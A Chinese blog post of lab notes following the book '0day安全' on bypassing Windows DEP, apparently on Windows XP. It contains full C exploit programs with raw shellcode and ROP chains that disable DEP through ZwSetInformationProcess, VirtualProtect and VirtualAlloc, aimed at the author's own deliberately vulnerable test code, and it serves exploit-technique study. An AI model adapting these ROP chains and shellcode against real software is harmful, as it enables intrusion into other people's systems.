《0day安全》——数据与程序的分水岭:DEP

DEP机制的保护原理

溢出攻击根源就是没有区分好代码和数据

基本上我们不能重新设计计算机体系结构,太费时间了,我们就在现在的基础上做一些事情那就是DEP(数据执行保护,Data Execution Prevention)

基本原理是将数据所在的内存页标识为不可执行,当程序成功溢出转入shellcode时,程序尝试在数据页面执行指令,此时CPU就会抛出异常,而不是去执行指令,而失去异常处理

DEP主要作用是阻止数据页执行代码,数据页包括默认的堆页,各种堆栈页,以及内存页

根据实现机制分为:软件DEP和硬件DEP(硬件DEP才是真正的DEP)

xp sp2开始提供这种技术的支持

硬件DEP ,AMD跟Intel都做了设计:

AMD叫NX,Intel叫XD

操作系统通过设置内存页的页表;来标识是否允许该页上执行代码

看一下在哪可以看到设置

win7的计算机属性-高级

blob.png

xp

blob.png

vs2005开始也加入了链接选项 /NXCOMPAT

blob.png

采用/NXCOMPAT编译的程序会在PE头设置一个标识

攻击未启用DEP的程序

由于有一个模块不支持DEP,那个进程就不能贸然开启DEP,否则发生异常。

可以看到连360的主动防御在win7下时没开的

blob.png

利用Ret2Libc挑战DEP

1.通过跳到ZwSetInformationProcess将DEP关闭

2.通过跳到VirtualProtect将shellcode所在内存页设置为可执行

3.通过VirtualAlloc开辟一段可执行的内存空间改,将shellcode复制到该区域

Ret2Libc实战之利用ZwSetInformationProcess

关闭dep需要特定的参数,

ZwSetInformationProcess(
HANDLE ProcessHandle,
PROCESS_INFORMATION_CLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength );
  • 第一个参数为进程的句柄,设置为−1 的时候表示为当前进程

  • 第二个参数为信息类 —– 0x22

  • 第三个参数可以用来设置_KEXECUTE_OPTIONS   —- 0x2

  • 第四个参数为第三个参数的长度 — 0x4

可以看到这样子的传参有个棘手的0x00

但是微软的兼容性惹祸了,如果一个进程的Permanent位没有设置,当它加载dll,并对其进行DEP兼容性检查,当兼容性存在问题,就会当存在兼容性问题时进程的DEP 就会被关闭。

为此微软设立了LdrpCheckNXCompatibility函数,

当符合以下条件之一时进程的DEP 会被关闭: 

  1. 当DLL 受SafeDisc 版权保护系统保护时;

  2. 当DLL 包含有.aspcak、.pcle、.sforce 等字节时;

  3. Windows Vista 下面当DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识出不需要启动DEP 的模块时。

还有的话就是AL=1的时候程序才会继续执行blob.png

首先我们开启所有程序的DEP,(当然关闭GS和SafeSEH)

blob.png

最终我的利用代码代码

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x70\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x95\x8B\x1D\x5D"//修正EBP(push esp; pop ebp; ret)
"\x63\x23\x80\x7C"//增大ESP(retn n)
"\x64\x4E\xC5\x7D" // jmp esp 
"\x24\xBE\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"//长跳转
"\xFF\x90\x90\x90"
;
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
    return 0;
}

首先找一些rop

blob.png

可以看到两个都找到了,其他两个步骤的下面应该用到

blob.png

为避免不截断,选择不包含00的地址,除了第一个,都可以

选ntdll的第一个吧,"\x70\xE2\x92\x7C"

将返回地址覆盖成这个,前面就是178+4(ebp)+返回地址了

可以看到返回地址被我们成功覆盖了

blob.png

之后就将eax赋值为1,

blob.png

加入我们接下来将下一个rop如果为关闭DEP的

blob.png

出现了错误

blob.png原理尝试在ebp值得附近写入数据

blob.png

那我们需要将ebp执向一个可写的位置

可通过push esp pop ebp retn指令将ebp定位到一个可写的位置

blob.png

回顾之前的截图retn到eax置1前,只有esp是可以写入的

先用第一个吧 5D1B73AA

跟着就运行程序

直接找到哪个函数,下个断点,返回会地址跟随一下就到达调用处了

blob.png

blob.png

我的ebp-4跟作者的不一样。。

blob.png

经过排查发现我使用的是ret8的,从栈中弹出多了一个dword

blob.png

那现在就一样了

blob.png

只要前4 位为二进制代码为0100 就可关闭DEP,而0x22(00100010)刚刚符合这个要求,所以用0x22 冲刷掉EBP-4 处的值还是可以关闭DEP 的。

作者说得前四位应该是从低位算起的

但是我们关闭了dep却失去了程序的控制权肯定是不行的

看看关闭dep后准备返回时

blob.png

所以我们见到的将esp复制给ebp还是不行

一般来说当ESP 值小于EBP 时,防止入栈时破坏当前栈内内容的调整方法不外乎减小ESP和增大EBP,由于本次实验中我们的shellcode 位于内存低址,所以减小ESP 可能会破坏shellcode,而增大EBP 的指令在本次实验中竟然找不到。一个变通的方法是增大ESP 到一个安全的位置,让EBP 和ESP 之间的空间足够大,这样关闭DEP 过程中的压栈操作就不会冲刷到EBP 的范围内了。

 retn n可以大幅增大esp

blob.png

可以看到找到了一堆

blob.png

"\x70\xE2\x92\x7C"//MOV EAX,1 RETN地址

"\x95\x8B\x1D\x5D"//修正EBP

"\x63\x23\x80\x7C"//增大ESP

"\x90\x90\x90\x90" // 上面的 retn 4,会将esp4

"\x24\xBE\x93\x7C"//关闭DEP代码的起始位置

需要注意的是修正EBP 指令返回时带有的偏移量会影响后续指令,所以我们在布置shellcode 的时要加入相应的填充。

关闭dep后返回

blob.png

因为ret之后esp还要减4,所以之后就可以跳到0012FEC4执向的内存了

那么90909090那里填成我们熟悉的jmp esp就好了

0012FEC4那里就长跳转,跳到上面我们shellcode的

可以计算出0x0012FEC4 距离shellcode (0012FDFC)为200 个字节,所以跳转指令需要回调205 个字节(200+5 字节跳转指令长度)。分析结束,我们开始布置shellcode,shellcode 布局如图12.3.13所示。

blob.png

-205补码再小端就是

\x33\xFF\xFF\xFF

长跳就是0xe9机器码

看看是不是

blob.png又是熟悉的弹窗代码

blob.png

实验成功,哎辛苦

blob.png

Ret2Libc实战之利用VirtualProtect

看一下函数

BOOL VirtualProtect(
  LPVOID lpAddress,       // region of committed pages  
  SIZE_T dwSize,          // size of the region  
  DWORD flNewProtect,     // desired access protection  
  PDWORD lpflOldProtect   // old protection
);

英文注释也是解释得比较清楚了

那我们这样

VirtualProtect(shellcode的地址,shellcode的大小,0x40, 某个可写的地址)

0x40是可读可写可执行的意思

  1. 由于包含0x00,strcpy复制字符串会被截断,我们就是用memcpy

  2. 不同机器的shellcode在内存的地址可能会变化,本实验采用巧妙的动态栈帧构造方法动态确定shellcode的起始位置

代码:

这是作者的代码,实验过程中需要修改

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x0A\x1A\xBF\x7C"//pop pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP
"\x8B\x17\x84\x7C"//RETN
"\x90\x90\x90\x90"
"\xBF\x7D\xC9\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xBF\x7D\xC9\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xE8\x1F\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xA4\xDE\xA2\x7C"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,420);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
    return 0;
}

VirtualProtect实际调用了VirtualProtectEx,我们以7C801AD9作为入口就好

blob.png

由于ebp在溢出的时候被破坏,所以需要先修复,

调整的地址已经找到了

blob.png

在那个调整ebp的ret 下断点

blob.png

我们将esp+4的话就一个retn就行了

看看这条指令怎么找blob.png

找到

blob.png

可以看到我们将esp指向了ebp+8,就是说我们成功动态地将ebp+8设置为栈中我们可控的地址

blob.png

由于有两个参数是固定的——shellcode的大小和那个权限,我们接下来只要保证ebp+0x18处存放的地址是可写的就行了

又是这种策略,让esp指向ebp+0x18

3个pop ret就行了

blob.png

就会找到一堆

blob.png

但是我们不能修改eax,esp,ebp这几个寄存器的

先选这条吧

blob.png

那我们怎么控制eax,可以用pop eax; ret

确定一下我们那两个固定参数,shellcode大小0xff就足够弹框代码用了,那个常量就用0x40

最后将shellcode布置如下

blob.png

可以看到已经可以调用啦

blob.png

总结一下刚才的过程:

首先通过pop eax ;ret将pop pop pop ret的地址保存到eax

之后修正ebp,由于是retn 4,所以要加4个字节的90填充

之后就是执行push esp,jmp eax,此时通过ebp索引的参数值已经可以对上号了,除了那个可写的地址

blob.png

之后我们就去jmp eax去控制那个可写地址ebp+0x14

eax就是3个pop的地址

3个pop之后就去,esp就执行ebp+0x14

blob.png

retn 之后就又去执行"\xB8\xDD\xEB\x77"//push esp jmp eax

那么ebp+0x14就赋值为当前的esp,栈的第一肯定是可写的,那么就大功告成了

我们可以去调用VirtualProtect了

跟着我们布置

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"

之后在布置VirtualProtect的入口即可

blob.png

之后调用完我们将控制权回到栈上

blob.png

因为那里有个pop ebp,所以搞个4个字节0x90后在布置jmp esp

之后有个retn 0x10

所以要布置16个字节的0x90

最终shellcode

blob.png

成功

blob.png

Ret2Libc实战之利用VirtualAlloc

看一下这函数

LPVOID VirtualAlloc(
  LPVOID lpAddress,        // region to reserve or commit  
  SIZE_T dwSize,           // size of region  
  DWORD flAllocationType,  // type of allocation  
  DWORD flProtect          // type of access protection
);

代码(下面为作者的源码,实验过程会修改具体的地址):

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
    return 0;
}

可以看到跟上个实验的函数差不多

但是这里的参数我们不存在动态确定的问题,所以可以直接布置栈帧

blob.png

参数的设置如下:

VirtualAlloc(0x00030000,0xFF,0x00001000,0x40)

由于ebp在溢出的时候被覆盖,所以还是先修复

blob.png

可以看到参数已经设置好了

blob.png

而且返回时候有个0x10,所以要有4个dword的填充

继续,第二次修正ebp情形

blob.png

不懂的看一下memcpy函数如何获取参数就知道了

blob.png

如果我们相用push esp的方式设置源内存地址,就要让esp指向ebp+0x10,那么push完就刚好指向ebp+0xc了

那么有两个问题,如何使esp指向ebp+0x10和push esp后如何收回控制权

可以看到上面,retn 4,后esp指向ebp+8,只要再pop一下就让esp指向ebp+0xc了

那我们当前ebp处布置一个pop ecx,retn

之后获取程序最佳控制权最佳位置在ebp+0x14,因为既保证memcpy参数不破坏又减少shellcode的长度

所以执行完push后,pop两次就执行ebp+0x14了

但是可以发现除了shellcode,还有其他东西也复制过去了

blob.png

之后由于跟作者的地址有区别,所以那个后面不一样,所以就memcpy后直接跳到shellcode就好了

blob.png

成功

blob.png

利用可执行内存挑战DEP

然而我这没看到140000可读

blob.png

但是尝试一下嘛

blob.png但是实际复制完了后事能执行的

blob.pngblob.png

但是直接双击文件又不行,。。。。。。


利用.NET挑战DEP

尝试附加执行就有个访问违例

blob.png

应该是没加载那个dll了

blob.png

算了,继续做下一个实验,

这个就是覆盖返回地址,跳到.NET中执行了

利用java applet挑战DEP

blob.png

打开poc,alert开始溢出后附加,尝试搜索那个shellcode地址

blob.png

结果找不到,算了

blob.png

打赏作者
喜欢本博客,打赏让博客永久运行,多少你说了算

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注